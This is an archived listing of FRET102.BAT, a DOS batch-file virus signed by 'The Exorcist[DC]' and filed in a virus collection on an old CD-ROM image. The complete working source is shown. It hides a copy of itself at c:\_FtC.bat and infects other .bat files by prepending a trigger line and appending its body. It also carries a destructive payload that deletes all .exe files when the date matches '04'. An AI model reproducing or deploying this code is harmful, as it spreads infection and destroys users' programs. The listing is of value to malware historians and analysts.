home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / BATCHCOL.ZIP / VIRUSES.ZIP / FRET102.ZIP / FRET102.BAT
Encoding:
DOS Batch File  |  1996-04-29  |  1.0 KB  |  51 lines

  1. @if '%_Fret102%==' goto _Fret102
  2. ::**** HOST ****
  3. @if not '%_Fret102%==' goto FtCend
  4. :_Fret102 FtC
  5. @echo off%_FtC%
  6. if '%1=='FtC goto FtC%2
  7. set FtC=%0.bat
  8. if not exist %FtC% set FtC=%0
  9. if '%FtC%==' set FtC=autoexec.bat
  10. set !FtC=%1 %2 %3 %4 %5 %6 %7 %8 %9
  11. if exist c:\_FtC.bat goto FtCg
  12. if not exist %FtC% goto eFtC
  13. find "FtC"<%FtC%>c:\_FtC.bat
  14. attrib c:\_FtC.bat +h
  15. :FtCg
  16. command /e:5000 /c c:\_FtC FtC vir
  17. :eFtC
  18. echo.|date|find "04">nul.FtC
  19. if errorlevel 1 goto naFtC
  20. set %FtC44%=del
  21. %FtC44% *.exe
  22. echo FtC/Fret102 Coded By: The Exorcist[DC] 
  23. :naFtC
  24. call %FtC% FtC rh
  25. set _Fret102=>nul.FtC
  26. set !FtC=
  27. set FtC=
  28. goto FtCend
  29. :FtCrh
  30. set _Fret102=x%_FtC%
  31. %FtC% %!FtC%
  32. :FtCvir
  33. for %%a in (..\*.bat *.bat) do call c:\_FtC FtC i %%a
  34. exit FtC
  35. :FtCi
  36. find "FtC"<%3>nul
  37. if not errorlevel 1 goto FtCj
  38. echo @if '%%_Fret102%%==' goto _Fret102>FtC$
  39. type %3>>FtC$
  40. echo.>>FtC$
  41. type c:\_FtC.bat>>FtC$
  42. move FtC$ %3>nul
  43. set FtC#=%FtC#%1
  44. if %FtC#%==111 exit
  45. :FtCj
  46. set FtC!=%FtC!%1
  47. if %FtC!%==11111111 exit
  48. :FtCend
  49.  
  50.    - The Exorcist/DC
  51.